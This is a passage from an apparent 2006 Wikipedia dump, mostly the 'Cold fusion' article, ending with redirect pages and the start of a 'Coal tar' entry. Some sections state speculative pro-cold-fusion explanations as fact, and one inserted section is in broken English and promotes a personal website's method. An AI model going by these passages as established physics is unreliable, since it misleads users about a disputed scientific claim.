In their original set-up, Fleischmann and Pons used a [[Dewar flask]] (a double-walled vacuum flask) for the [[electrolysis]], so that heat conduction would be minimal on the side and the bottom of the cell (only 5 % of the heat loss in this [[experiment]]).  The cell flask was then submerged in a bath maintained at constant temperature to eliminate the effect of external heat sources.  They used an open cell, thus allowing the gaseous deuterium and oxygen resulting from the [[electrolysis]] reaction to leave the cell (with some heat too).  It was necessary to replenish the cell with [[heavy water]] at regular intervals.  The cell was tall and narrow, so that the bubbling action of the gas kept the electrolyte well mixed and of a uniform temperature.  Special attention was paid to the purity of the palladium cathode and electrolyte to prevent the build-up of material on its surface, especially after long periods of operation. 

The cell was also instrumented with a [[thermistor]] to measure the temperature of the [[electrolyte]], and an electrical heater to generate pulses of heat and calibrate the heat loss due to the gas outlet.  After [[calibration]], it was possible to compute the heat generated by the reaction.

A constant current was applied to the cell continuously for many weeks, and heavy water was added as necessary.  For most of the time, the power input to the cell was equal to the power that went out of the cell within measuring accuracy, and the cell temperature was stable at around 30 °C.  But then, at some point (and in some of the experiments), the temperature rose suddenly to about 50 °C without changes in the input power, for durations of 2 days or more.  The generated power was calculated to be about 20 times the input power during the power bursts. Eventually the power bursts in any one cell would no longer occur and the cell was turned off.

==Arguments in the controversy==

===Current understanding of nuclear processes===

Current understanding of hot [[nuclear fusion]] has shown:

* In order for fusion to occur, the [[electrostatic]] force ([[Coulomb repulsion]]) between the positively charged [[atomic nucleus|nuclei]] must be overcome. Once the distance between the nuclei becomes comparable to one [[femtometre]], the attractive [[strong interaction]] takes over and the fusion may occur. However, the repulsive Coulomb interaction between the nuclei separated by several femtometres is greater than interactions between nuclei and electrons by approximately six orders of magnitude.  Overcoming that requires an energy on the order of 10 MeV per nucleus, whereas the energies of chemical reactions are on the order of several electron-volts; it is hard to explain where the required energy would come from in room-temperature matter.  The electrostatic environment interior to a palladium metal matrix is very different from that of a plasma, and so the possibility exists that deuterons embedded in palladium settle at points and in channels within the metal's electron orbitals which substantially increase the likelyhood of deuteron collisions.

* If the excess heat were generated by the hot fusion of two [[deuterium]] atoms, the most probable outcome would be the generation of either a [[tritium]] atom and a proton, or a &lt;small&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/small&gt;He and a [[neutron]]. The level of neutrons, tritium and &lt;small&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/small&gt;He actually observed in Fleischmann-Pons experiment have been well below the level expected in view of the heat generated, implying that hot fusion reactions cannot explain it.  However, deuterons in a metal matrix have substantially less [[angular momentum]] (which is proportional to temperature and limited by interactions with the enclosing solid) than those in a plasma. This difference may explain the observed difference in [[branching ratio]]s.

* Fusion of deuterium into helium-4: if the excess heat were generated by the hot fusion of two deuterium atoms into &lt;small&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/small&gt;He, a reaction which is normally extremely rare, [[gamma ray]]s and helium would be generated. Insufficient levels of gamma rays relative to hot fusion have been observed in proportion to the heat generated. U.S. Navy researchers Stanislaw Szpak and Pamela Boss, with Jerry J. Smith from the Dept. of Energy have measured [[bremsstrahlung]] radiation consistent with very high energy alpha particles, suggesting that energy may be released as &lt;small&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/small&gt;He nuclei momentum instead of the gamma radiation observed in plasma fusion.

===Reproducibility of the result===
While some scientists have reported to have reproduced the excess heat with similar or different set-ups, they could not do it with predictable results, and many others failed.  Some see this as a proof that the experiment is [[pseudoscience]], or more precisely, [[pathological science]].

Yet, it is not uncommon for a new phenomenon to be difficult to control, and to bring erratic results. For example attempts to repeat electrostatic experiments (similar to those performed by [[Benjamin Franklin]]) often fail due to excessive air [[humidity]]. That does not mean that electrostatic phenomena are fictitious, or that experimental data are fraudulent. On the contrary, occasional observations of new events, by qualified experimentalists, can in some cases be the preliminary steps leading to recognized discoveries.

The reproducibility of the result will remain the main issue in the Cold Fusion controversy until a scientist designs an experiment that is fully reproducible by simply following a [[recipe]], or that [[power generation|generates power]] continuously rather than sporadically.

===Energy source versus power store===
It has been suggested that the observed excess power output which begins after a cell is operated for a long time may be due to energy accumulated in the cell during operation.  This would require a systematic error in [[calorimetry]] (in other words that the cell is drawing more power than goes out, but calorimetry incorrectly shows the two to be equal).  Additionally, the amount of energy reported in some of the experiments appears to be too great compared to the small mass of material in the cell, for it to be stored by any known chemical process.  Dennis Cravens, a professor of chemistry and physics at [[Eastern New Mexico University]], is working on a completely self-contained cold fusion device based on a [[Stirling engine]].  While this is in the early stages, if successful and capable of doing work on the external environment it would confirm production of excess energy without the need for measurements.  [http://www.netmdc.com/%7Ephysics/]

==Continuing efforts==

[[Image:Spawar1stGenCFCell.JPG|thumb|Cold fusion cell at the US Navy Space and Naval Warfare Systems Center, San Diego, CA (2005)|220px]]

There are still a number of people researching the possibilities of generating power with cold fusion. Scientists in several countries continue the research, and meet at the [[International Conference on Cold Fusion]] (see Proceedings at [http://www.lenr-canr.org/index.html www.lenr-canr.org]).

The generation of excess heat has been reported by 
* Michael McKubre, director of the Energy Research Center at [[SRI International]],
* Richard A. Oriani ([[University of Minnesota]], in December 1990), 
* Robert A. Huggins (at [[Stanford University]] in March 1990), 
* Y. Arata ([[Osaka University]], [[Japan]]), 
among others.  In the best experimental set-up, excess heat was observed in 50% of the experiment reproductions.  Various fusion ashes and transmutations were observed by some scientists.

Dr. Michael McKubre thinks a working cold fusion reactor is possible. Dr. Edmund Storms, a former scientist with The [[Los Alamos National Laboratory]] in [[New Mexico]], maintains an international database of research into cold fusion. 

Excess heat production is an important characteristic of the effect that has created the most criticism. This is understandable because calorimetry is a difficult measurement that is susceptible to systematic errors. In addition, the original measurements, as well as a few of the attempted reproduction studies, have been criticized for various errors. Nevertheless, evidence is available that is based on well-designed and well-understood precision calorimetry methods, for example Seebeck and flow calorimeters. For example, McKubre et al. {{ref_harvard|McKubre1994|McKubre 1994|}} at SRI developed a state-of-the-art flow calorimeter that was used to study many samples that showed production of significant anomalous energy. Over 30 similar studies {{ref_harvard|Storms2001|Storms 2001|}} have observed the same general behavior as was reported by these workers. Of course, all of the positive results could be caused by various errors. This possibility has been explored in many papers, which have been reviewed and summarized by Storms {{ref_harvard|Storms2000|Storms 2000|}} . Although a few of the suggested errors might have affected a few studies, no error has been identified that can explain all of the positive results, especially those using well designed methods. At this time, researchers in the field feel confident that anomalous energy is produced regardless of its source. This conclusion is important regardless of whether nuclear reactions are the source or not.

For a nuclear reaction to be proposed as the source of energy, it is necessary to show that the amount of energy is related to the amount of a nuclear product. Until the work of Miles et al. {{ref_harvard|Miles1993|Miles 1993|}}, various unexpected nuclear products had been detected but never in sufficient amounts. Miles et al. showed that helium was generated when anomalous heat was measured and that the relationship between the two measurements was consistent with the amount of energy known to result from a d-d fusion reaction. Since then five other studies {{ref_harvard|Miles2003|Miles 2003|}} have observed the same relationship. Of course, some of the detected helium could have resulted from helium known to be in normal air. Also, the heat measurements could be wrong in just the right amount every time the measurements were made. Even though these possibilities could have been used to explain one study, it is unlikely that such an advantageous combination of error can explain all of the results, especially when active efforts were made to reduce these errors. At the present time, researchers in the field believe that heat and helium are related, but the source of the helium is still to be determined. In other words, the helium may not result from d-d fusion.

[[Image:ColdFusionAutoradiograph.jpg|thumb|An autoradiograph showing the effects of tritium from a cold fusion experiment at the Neutron Physics Division, [[Bhabha Atomic Research Centre]], Bombay, India|220px]] 

Besides helium, other nuclear products are detected in much smaller quantities. Early in the history, great effort was made to detect neutrons, an expected nuclear product from the d-d fusion reaction. Except for occasional bursts, the emission rate was found to be near the limit of detection or completely absent. This fact was used to reject the initial claim. It is now believed that the few neutrons are caused by a secondary nuclear reaction, possibily having nothing to do with the helium producing reaction. Tritium is another expected product of d-d fusion, which was sought. Too little tritium was detected so that once again the original claims were inconsistent with expectations. Nevertheless, the amount of tritium detected could not be explained by any conventional process after all of the possibilities had been completely explored. The source of tritium is still unknown although it appears to result from a nuclear reaction that is initiated within the apparatus. Various nuclear products normally associated with d-d fusion also have been detected as energetic emissions, but at very low rates.

Finally, the presence of heavy elements having unnatural isotopic ratios and in unexpected large amounts are detected under some conditions. These are the so called transmutation products. Work in Japan {{ref_harvard|Iwamura2004|Iwamura 2004|}} {{ref_harvard|Iwamura2003|Iwamura 2003|}}  {{ref_harvard|Iwamura2002|Iwamura 2002|}}  {{ref_harvard|Iwamura2002b|Iwamura 2002b|}}  {{ref_harvard|Iwamura2000|Iwamura 2000|}}  has opened an entirely new aspect to the phenomenon by showing that impurity elements in palladium, through which D2 is caused to pass, are converted to heavier elements to which 2D, 4D or 6D (deuterons) have been added. The claims have been replicated in Japan and similar efforts are underway at the U.S. Naval Research Laboratory (NRL). 

In 2004, the United States Department of Energy (DoE), upon reviewing the observations and best evidence reported by cold fusion researchers, came to mixed conclusions about the reality of the claims. {{ref_harvard|DoE2004|DoE 2004|}}  {{ref_harvard|Storms2005|Storms 2005|}}  In keeping with this negative opinion, some journals do not accept submissions related to cold fusion, and Scientific American has often attacked the subject. In contrast, other prestigious journals, such as the Japanese Journal of Applied Physics, continue to publish studies on the subject.

==Other kinds of fusion==
A variety of other methods are known to effect nuclear fusion. Some are &quot;cold&quot; in the strict sense that no part of the material is hot (except for the reaction products), some are &quot;cold&quot; in the limited sense that the bulk of the material is at a relatively low temperature and pressure but the reactants are not, and some are &quot;hot&quot; fusion methods that create macroscopic regions of very high temperature and pressure.

Locally cold fusion :
* [[Muon-catalyzed fusion]] is a well established and reproducible fusion process that occurs at ordinary temperatures.  It was studied in detail by [[Steven E. Jones|Steven Jones]] in the early 1980s.  It has not been reported to produce net energy.  Net energy production from this reaction is not believed to be possible because of the energy required to create [[muon]]s, their 2.2 &amp;micro;s [[half-life]], and the chance that a muon will bind to the new [[alpha particle]] and thus stop catalyzing fusion.
Generally cold, locally hot fusion :
* In [[sonoluminescence]], acoustic shock waves create temporary bubbles that collapse shortly after creation, producing very high temperatures and pressures. In 2002, Rusi P. Taleyarkhan reported the possibility that [[bubble fusion]] occurs in those collapsing bubbles.  As of 2005, experiments to determine whether fusion is occurring give conflicting results. If fusion is occurring, it is because the local temperature and pressure are sufficiently high to produce hot fusion.[http://www.nature.com/news/2006/060109/full/060109-5.html]
* The [[Fusor|Farnsworth-Hirsch Fusor]] is a tabletop device in which fusion occurs. This fusion comes from high effective temperatures produced by electrostatic acceleration of ions. The device can be built inexpensively, but it too is unable to produce a net power output. 
* [[Antimatter catalyzed nuclear pulse propulsion|Antimatter-initialized fusion]] uses small amounts of antimatter to trigger a tiny fusion explosion. This has been studied primarily in the context of making [[nuclear pulse propulsion]] feasible.  This is not near becoming a practical power source, due to the cost of manufacturing antimatter alone. 
* [[Pyroelectric fusion]] was reported in April 2005 by a team at [[University of California, Los Angeles|UCLA]]. The scientists used a [[Pyroelectricity|pyroelectric]] crystal heated from &amp;minus;34 to 7°C (&amp;minus;30 to 45°F), combined with a [[tungsten]] needle to produce an [[electric field]] of about 25 gigavolts per meter to ionize and accelerate [[deuterium]] nuclei into an erbium deuteride target. Though the energy of the deuterium ions generated by the crystal has not been directly measured, the authors used 100 keV (a temperature of about 10&lt;sup&gt;9&lt;/sup&gt; [[Kelvin|K]]) as an estimate in their modeling.[http://www.nature.com/nature/journal/v434/n7037/extref/nature03575-s1.pdf] At these energy levels, two deuterium nuclei can fuse together to produce a [[helium-3]] nucleus, a 2.45 MeV [[neutron]] and [[bremsstrahlung]].  Although it makes a useful neutron generator, the apparatus is not intended for power generation since it requires far more energy than it produces. [http://rodan.physics.ucla.edu/pyrofusion/] [http://www.aip.org/pnu/2005/split/729-1.html] [http://www.christiansciencemonitor.com/2005/0606/p25s01-stss.html] [http://msnbc.msn.com/id/7654627]

Hot fusion :
* &quot;Standard&quot; &quot;hot&quot; [[fusion power|fusion]], in which the fuel reaches tremendous temperature and pressure inside a [[fusion reactor]], [[nuclear weapon]], or [[star]].

The methods in the second group are examples of non-equilibrium systems, in which very high temperatures and pressures are produced in a relatively small region adjacent to material of much lower temperature. In his doctoral thesis for [[Massachusetts Institute of Technology|MIT]], Todd Rider did a theoretical study of all non-equilibrium fusion systems. He demonstrated that all such systems will leak energy at a rapid rate due to [[Bremsstrahlung|bremsstrahlung]], radiation produced when [[electron]]s in the [[Plasma (physics)|plasma]] hit other electrons or [[ion]]s at a cooler temperature and suddenly decelerate. The problem is not as pronounced in a hot plasma because the range of temperatures, and thus the magnitude of the deceleration, is much lower.


''Plasma, liquid or solid: what phase is better?''

As it is described above the cold nuclear fusion investigation were developed mainly as 
a liquid-phase electrolysis with hydrogen-philic electrodes (palladium for example). 
Strong (in the chemical scale) deuterium - electrodes interaction could lead to some
deuteron - deuteron distance reduction and them fusion. But on the liquid-solid surface
the force cannot be very big principally.

There are attempts to accelerate deuterons within a solid crystal 
[http://www.nature.com/news/2005/050425/full/050425-3.html see last &quot;Nature&quot; publication ].
The energy of particles dissipates thermally more then the nuclear reaction takes place here.

So [http://to2084.narod.ru a static (i.e. non-dissipative) method of ultrahigh pressure
generation inside a solid electrolyte] would be hopefull. The force amplification 
by tention cumulation along a conical cathode should not be limit here.

==Commercial developments==

Cold fusion's commercial viability is unknown. Thorough understanding of the effect necessary for commercialization has not yet been achieved (although several competing theories exist). Some researchers have indicated that the effect can occur in metals other than expensive palladium, such as titanium and nickel. Studies showing the largest power densities make use of palladium, and even then do not show commercially substantial levels.[http://newenergytimes.com/Library/2005KrivitS-HowCanItBeReal-Paper.pdf] Researchers have not yet shown ways to prevent cathodes from deteriorating, cracking, and melting during the process (occasionally, cells have been known to burst).  Additionally, the most widely reproduced experiments produce power in bursts, not continiously as is needed for many applications.  

There are various companies which claim to be developing cold fusion devices: Energetics Technologies Ltd. (Israel), [http://www.d2fusion.com/ D2Fusion], and [http://world.std.com/~mica/jet.html JET Thermal Products]. Ongoing developments concerning cold fusion commercialization efforts are tracked at [http://peswiki.com/index.php/PowerPedia:Cold_fusion#Ongoing_developments peswiki].

==See also==

*[[List_of_alternative%2C_speculative_and_disputed_theories#Physics|List of fringe theories in physics]]
*[[Stanley Pons]]
*[[Martin Fleischmann]]

{{fusion power}}

==References==

===Books===
* Krivit, Steven ; Winocur, Nadine. ''The Rebirth of Cold Fusion: Real Science, Real Hope, Real Energy''. Los Angeles, CA, Pacific Oaks Press, 2004 ISBN 0976054582. 
* [[Charles Beaudette|Beaudette, Charles]]. ''Excess Heat: Why Cold Fusion Research Prevailed, 2nd. Ed.''. Concord, N.H.: Infinite Energy Press, 2002. ISBN 0967854830.
* [[Robert L. Park|Park, Robert L.]] ''Voodoo Science: The Road from Foolishness to Fraud''. New York: Oxford University Press, 2000. ISBN 0195135156.
* Mizuno, Tadahiko. ''Nuclear Transmutation: The Reality of Cold Fusion''. Concord, N.H.: Infinite Energy Press, 1998.  ISBN 1892925001.
* [[John Huizenga|Huizenga, John R.]] ''Cold Fusion: The Scientific Fiasco of the Century''. Rochester, N.Y.: University of Rochester Press, 1992. ISBN 1878822071; ISBN 0198558171.
* [[Frank Close|Close, Frank E.]].''Too Hot to Handle: The Race for Cold Fusion''. Princeton, N.J. : Princeton University Press, 1991. ISBN 0691085919; ISBN 0140159266.
* [[Eugene Mallove|Mallove, Eugene]]. ''Fire from Ice: Searching for the Truth Behind the Cold Fusion Furor''. Concord, N.H.: Infinite Energy Press, 1991. ISBN 1892925028.

===Reports and reviews===

*[http://www.ncas.org/erab/index.html &quot;Cold Fusion Research&quot;] - Energy Research Advisory Board report (November 1989)
**[http://www.ncas.org/erab/sec5.htm Conclusions and recommendations] section of the report
*[http://www.science.doe.gov/Sub/Newsroom/News_Releases/DOE-SC/2004/low_energy/index.htm U.S. DoE 2004 Cold Fusion Review] - U.S. Department of Energy review of 15 years of cold fusion experiments
**[http://lenr-canr.org/Collections/DoeReview.htm Additional information on the DoE 2004 Cold Fusion Review.] This page includes the full text of the reviewer's comments, which is not available on the DoE pages, plus links to the full text of 42 of the papers submitted by cold fusion researchers to the review panel. (The list of all 130 submitted papers can be found [http://lenr-canr.org/acrobat/Hagelsteinnewphysica.pdf here].)
**[http://www.lenr-canr.org/acrobat/BeaudetteCresponseto.pdf Response to the DoE/2004 Review of Cold-Fusion Research] - C. Beaudette's critique of the DoE 2004 Cold Fusion Review
*[http://peswiki.com/index.php/PowerPedia:Cold_fusion Cold Fusion overview] - John Coviello provides an introductory synopsis for new encyclopedic entry at ''PESWiki.com''.
*[http://www.tcm.phy.cam.ac.uk/~bdj10/papers/storms/review8.html Cold Fusion - An Objective Assessment] - by Dr. Edmund Storms, a review of the experimental results (December 2001; 233 references, including 34 studies reporting anomalous energy using the Pons-Fleischmann method)
*[http://lenr-canr.org/acrobat/StormsEastudentsg.pdf A Student's Guide to Cold Fusion] - by Edmund Storms. A 55-page introduction to the subject.
*[http://lenr-canr.org/acrobat/IyengarPKoverviewof.pdf Overview of BARC Studies in Cold Fusion.] - P.K. Iyengar (Atomic Energy Commission, India) and M. Srinivasan (Bhabha Atomic Research Centre) review some of the major research in India.
* A [http://www.xmx.it/fusionefreddaFAQ2.htm Cold Fusion primer], in English and Italian

===Papers===

* {{note|Fleischmann1989}} Fleischmann, M., S. Pons, and M. Hawkins, electrochemically induced nuclear fusion of deuterium. J. Electroanal. Chem., 1989. 261: p. 301 and errata in Vol. 263. [http://lenr-canr.org/acrobat/Fleischmanelectroche.pdf]
* {{note|Pons1990}} Pons, S. and M. Fleischmann, Calorimetric measurements of the palladium/deuterium system: fact and fiction. Fusion Technol., 1990. 17: p. 669.
* {{note|Huizenga1993}} Huizenga, J.R., ''Cold Fusion: The Scientific Fiasco of the Century''. second ed. 1993, New York: Oxford University Press. 319.
* {{note|Paneth1926}} Paneth, F. and K. Peters, On the transmutation of hydrogen to helium. Naturwiss., 1926. 43: p. 956 (in German).
* {{note|Paneth1927}} Paneth, F., The transmutation of hydrogen into helium. Nature (London), 1927. 119: p. 706.
* {{note|Mallove1991}} Mallove, E., Fire From Ice. 1991, NY: John Wiley. [http://lenr-canr.org/acrobat/MalloveEfirefromic.pdf]
* {{note|Appleby1989}} Appleby, A.J., et al. Evidence for Excess Heat Generation Rates During Electrolysis of D2O in LiOD Using a Palladium Cathode-A Microcalorimetric Study. in Workshop on Cold Fusion Phenomena. 1989. Santa Fe, NM.
* {{note|Appleby1990}} Appleby, A.J., et al. Anomalous Calorimetric Results During Long-Term Evolution of Deuterium on Palladium from Alkaline Deuteroxide Electrolyte. in The First Annual Conference on Cold Fusion. 1990. University of Utah Research Park, Salt Lake City, Utah: National Cold Fusion Institute.
* {{note|ERAB1989}} ERAB, Report of the Cold Fusion Panel to the Energy Research Advisory Board. 1989, Department of Energy, DOE/S-0073: Washington, DC. [http://www.ncas.org/erab/ ] [http://lenr-canr.org/acrobat/ERABreportofth.pdf]
* {{note|Storms1991}} Storms, E., Review of experimental observations about the cold fusion effect. Fusion Technol., 1991. 20: p. 433.
* {{note|Will1993}} Will, F.G., K. Cedzynska, and D.C. Linton, Reproducible tritium generation in electrochemical cells employing palladium cathodes with high deuterium loading. J. Electroanal. Chem., 1993. 360: p. 161. [http://lenr-canr.org/acrobat/WillFGtritiumgen.pdf]
* {{note|Storms1990}} Storms, E. and C.L. Talcott, Electrolytic tritium production. Fusion Technol., 1990. 17: p. 680.
* {{note|Iyengar1990}} Iyengar, P.K., et al., Bhabha Atomic Research Centre studies on cold fusion. Fusion Technol., 1990. 18: p. 32. [http://lenr-canr.org/acrobat/IyengarPKoverviewof.pdf]
* {{note|Packham1989}} Packham, N.J.C., et al., Production of tritium from D2O electrolysis at a palladium cathode. J. Electroanal. Chem., 1989. 270: p. 451.
* {{note|Will1990}} Will, F.G., Groups Reporting Cold Fusion Evidence. 1990, National Cold Fusion Institute: Salt Lake City, UT. [http://lenr-canr.org/acrobat/WillFGgroupsrepo.pdf]
* {{note|Bockris1990}} Bockris, J., G.H. Lin, and N.J.C. Packham, A review of the investigations of the Fleischmann-Pons phenomena. Fusion Technol., 1990. 18: p. 11.
* {{note|Hansen1991}} Hansen, W.N. Report to the Utah State Fusion/Energy Council on the Analysis of Selected Pons Fleischmann Calorimetric Data. in Second Annual Conference on Cold Fusion, &quot;The Science of Cold Fusion&quot;. 1991. Como, Italy: Societa Italiana di Fisica, Bologna, Italy. [http://lenr-canr.org/acrobat/HansenWNreporttoth.pdf]
* {{note|Melich1993}} Melich, M.E. and W.N. Hansen. Back to the Future, The Fleischmann-Pons Effect in 1994. in Fourth International Conference on Cold Fusion. 1993. Lahaina, Maui: Electric Power Research Institute 3412 Hillview Ave., Palo Alto, CA 94304. [http://lenr-canr.org/acrobat/MelichMEbacktothef.pdf]
* {{note|Miles2003}} Miles, M. Correlation Of Excess Enthalpy And Helium-4 Production: A Review. in Tenth International Conference on Cold Fusion. 2003. Cambridge, MA: LENR-CANR.org. [http://lenr-canr.org/acrobat/MilesMcorrelatioa.pdf]
* {{note|Storms2004}} Storms, E., Calorimetry 101 for cold fusion. 2004, www.LENR-CANR.org. [http://lenr-canr.org/acrobat/StormsEcalorimetr.pdf]
* {{note|McKubre1994}} McKubre, M.C.H., et al., Isothermal Flow Calorimetric Investigations of the D/Pd and H/Pd Systems. J. Electroanal. Chem., 1994. 368: p. 55. [http://lenr-canr.org/acrobat/McKubreMCHexcesspowe.pdf]
* {{note|Storms2001}} Storms, E., Cold Fusion: An Objective Assessment. 2001. [http://lenr-canr.org/acrobat/StormsEcoldfusionc.pdf]
* {{note|Storms2000}} Storms, E., A critical evaluation of the Pons-Fleischmann effect: Part 2. Infinite Energy, 2000. 6(32): p. 52. [http://lenr-canr.org/acrobat/StormsEacriticale.pdf]
* {{note|Miles1993}} Miles, M.H., et al., Correlation of excess power and helium production during D2O and H2O electrolysis using palladium cathodes. J. Electroanal. Chem., 1993. 346: p. 99. [http://lenr-canr.org/acrobat/MilesMcorrelatio.pdf]
* {{note|Iwamura2004}} Iwamura, Y., et al. Observation of Nuclear Transmutation Reactions induced by D2 Gas Permeation through Pd Complexes. in ICCF-11, International Conference on Condensed Matter Nuclear Science. 2004. Marseilles, France: www.LENR-CANR.org. [http://lenr-canr.org/acrobat/IwamuraYobservatiob.pdf]
* {{note|Iwamura2003}} Iwamura, Y., et al. Low Energy Nuclear Transmutation In Condensed Matter Induced By D2 Gas Permeation Through Pd Complexes: Correlation Between Deuterium Flux And Nuclear Products. in Tenth International Conference on Cold Fusion. 2003. Cambridge, MA: LENR-CANR.org. [http://lenr-canr.org/acrobat/IwamuraYlowenergyn.pdf]
* {{note|Iwamura2002}} Iwamura, Y., et al. Observation of Low Energy Nuclear Reactions Induced By D2 Gas Permeation Through Pd Complexes,. in The 9th International Conference on Cold Fusion, Condensed Matter Nuclear Science. 2002. Beijing, China: Tsinghua Univ. Press. [http://lenr-canr.org/acrobat/IwamuraYobservatioa.pdf]
* {{note|Iwamura2002b}} Iwamura, Y., M. Sakano, and T. Itoh, Elemental Analysis of Pd Complexes: Effects of D2 Gas Permeation. Jpn. J. Appl. Phys. A, 2002. 41: p. 4642. [http://lenr-canr.org/acrobat/IwamuraYelementalaa.pdf]
* {{note|Iwamura2000}} Iwamura, Y., T. Itoh, and M. Sakano. Nuclear Products and Their Time Dependence Induced by Continuous Diffusion of Deuterium Through Multi-layer Palladium Containing Low Work Function Material. in 8th International Conference on Cold Fusion. 2000. Lerici (La Spezia), Italy: Italian Physical Society, Bologna, Italy. [http://lenr-canr.org/acrobat/IwamuraYnuclearpro.pdf]
* {{note|DoE2004}} D.o.E., U.S. Department of Energy Report of the Review of Low Energy Nuclear Reactions. 2004, DE: Washington, DC. [http://lenr-canr.org/acrobat/DOEreportofth.pdf]; See also: D.o.E., U.S. Department of Energy Cold Fusion Review Reviewer Comments. 2004, DE: Washington, DC. [http://lenr-canr.org/acrobat/DOEusdepartme.pdf]
* {{note|Storms2005}} Storms, E., A Response to the Review of Cold Fusion by the DoE. 2005, Lattice Energy, LLC: Santa Fe, NM. [http://lenr-canr.org/acrobat/StormsEaresponset.pdf] [http://lenr-canr.org/acrobat/BeaudetteCresponseto.pdf]
* {{note|Williams1989}} D. E. Williams, et al.  [http://www.nature.com/nature/journal/v342/n6248/abs/342375a0.html Upper bounds on 'cold fusion' in electrolytic cells], Nature 342, 375 - 384 ([[23 November]] [[1989]]); doi:10.1038/342375a0
* {{note|Gai1989}} M. Gai, et al. [http://www.nature.com/nature/journal/v342/n6248/abs/342375a0.html Upper limits on neutron and big gamma-ray emission from cold fusion], Nature 340, 29 - 34 (06 July 1989); doi:10.1038/340029a0

===Journals and publications===

* [http://www.infinite-energy.com/ ''Infinite Energy''] - one of the original periodicals dedicated to cold fusion and new energy
* [http://www.newenergytimes.com/ ''New Energy Times''] - site that focuses on the latest advances in the field of cold fusion
* [http://world.std.com/~mica/cft.html ''Cold Fusion Times''] - quarterly journal about cold fusion

===Websites and repositories===

*[http://www.lenr-canr.org/ LENR-CANR Low Energy Nuclear Reactions — Chemically Assisted Nuclear Reactions] - information and links on cold fusion research (mainly pro-cold fusion), and an online library of over 450 full-text papers from the peer-reviewed literature and conference proceedings
*[http://www.chem.au.dk/~db/fusion/ Britz's cold nuclear fusion bibliography] - an overview and review of almost all available publications about cold nuclear fusion
*[http://freeenergynews.com/Directory/ColdFusion/ Cold Fusion — 16 Years and Heating Up] - directory of cold fusion resources compiled by ''FreeEnergyNews.com''
*[http://blake.montclair.edu/~kowalskil/cf/ L. Kowalski's web site] - a collection of commentaries on cold fusion research from a physics teacher
*[http://www.iscmns.org/ International Society for Condensed Matter Nuclear Science] - website of the [[International Society for Condensed Matter Nuclear Science|ISCMNS]]
*[http://jlnlabs.imars.com/cfr/ JL Naudin's web site] - the CFR project, a High Temperature Plasma Electrolysis based on the Tadahiko Mizuno work from the Hokkaido University (Japan)

===News===

'''1980s'''
*[http://www.utoronto.ca/jpolanyi/public_affairs/public_affairs4b.html Elation Should Be Tempered Until Jury Has Examined Experiments] ''The Financial Post'' (May 1989)
*[http://partners.nytimes.com/library/national/science/050399sci-cold-fusion.html &quot;Physicists Debunk Claim Of a New Kind of Fusion&quot;] - ''Science'' (May 1989)
*[http://www-tech.mit.edu/V109/N24/fusion.24n.html &quot;PFC results said to deal blow to fusion claims&quot;] - ''MIT Tech'' (May 1989) - Early cold fusion claims set straight by work in their [[MIT#Other_MIT_labs_and_groups|Plasma Fusion Center]]

'''1990s'''
*[http://www.its.caltech.edu/~dg/fusion_art.html Whatever Happened to Cold Fusion?] ''The American Scholar'' (Late 1994)
*[http://www.wired.com/wired/archive/6.11/coldfusion.html What If Cold Fusion Is Real?] ''Wired'', (November 1998)
*[http://physicsweb.org/articles/world/12/3/8 Whatever happened to cold fusion?] ''Physics World'', (March 1999)
*[http://www.halplotkin.com/SFGate019.htm The War Against Cold Fusion - What's really behind it?] ''SF Gate'' - (May 1999)

'''2000s'''
*[http://news.bbc.co.uk/2/hi/in_depth/sci_tech/2000/festival_of_science/919953.stm Arthur C Clarke demands cold fusion rethink] ''BBC News'' (September 2000) See also: [http://lenr-canr.org/acrobat/ClarkeACthecominga.pdf]
*[http://www.washingtonpost.com/wp-dyn/articles/A54964-2004Nov16.html Warming up to Cold Fusion] ''Washington Post Magazine'' (November 2004)
*[http://www.iscmns.org/iccf11/iccf11.htm ICCF-11 Overview With Links to Presentations] ''International Society for Condensed Matter Nuclear Science'' (November 2004)
*[http://www.nature.com/news/2004/041129/full/041129-11.html U.S. review rekindles cold fusion debate] ''Nature'' - (December 2004)
*[http://world.std.com/~mica/colloq.html The 2005 Cold Fusion Colloquium] ''Cold Fusion Times'' (May 2005) - Public gathering of cold fusion researchers at MIT
*[http://www.slweekly.com/editorial/2005/feat_2005-10-20.cfm  Cold-Fusion Believers Work On, Even as Mainstream Science Gives Them the Cold Shoulder] ''Salt Lake City Weekly'' (October 2005)
*[http://www.iccf12.org/ ICCF-12 Announcement] ''ICCF'' (November - December 2005) - Shin Yokohama Prince Hotel in Yokohama city, Japan

[[Category:Alternative energy]]
[[Category:Nuclear physics]]
[[Category:Pseudophysics]]

[[de:Kalte Fusion]]
[[es:Fusión fría]]
[[fr:Fusion froide]]
[[it:Fusione fredda]]
[[nl:Koude kernfusie]]
[[ja:常温核融合]]
[[pl:Zimna fuzja]]
[[sk:Studená fúzia]]
[[sl:Hladna fuzija]]
[[fi:Kylmäfuusio]]
[[sv:Kall fusion]]
[[uk:Холодний синтез]]</text>
    </revision>
  </page>
  <page>
    <title>CO</title>
    <id>7464</id>
    <revision>
      <id>15905529</id>
      <timestamp>2003-05-27T08:04:04Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <comment>#REDIRECT [[Co]]</comment>
      <text xml:space="preserve">#REDIRECT [[Co]]</text>
    </revision>
  </page>
  <page>
    <title>CO2</title>
    <id>7465</id>
    <revision>
      <id>15905530</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Carbon dioxide]]
</text>
    </revision>
  </page>
  <page>
    <title>Coal tar</title>
    <id>7466</id>
    <revision>
      <id>42000806</id>
      <timestamp>2006-03-03T03:33:20Z</timestamp>
      <contributor>
        <ip>24.165.20.138</ip>
      </contributor>
      <text xml:space="preserve">'''Coal tar''' is the liquid by-product of the [[distillation]] of [[coal]] to make [[coke (fuel)|coke]]. The gaseous by-product produced by this process is commonly known as [[coal-gas|town gas]]. See also [[preservative]] and [[creosote]].

Coal tar is very viscous brown or black liquid, with smell of [[naphthalene]] and [[aromatic hydrocarbon]]s. Being flammable, it is sometimes used for heating or to fire boilers. Like most oils, it must be heated before it will flow easily.

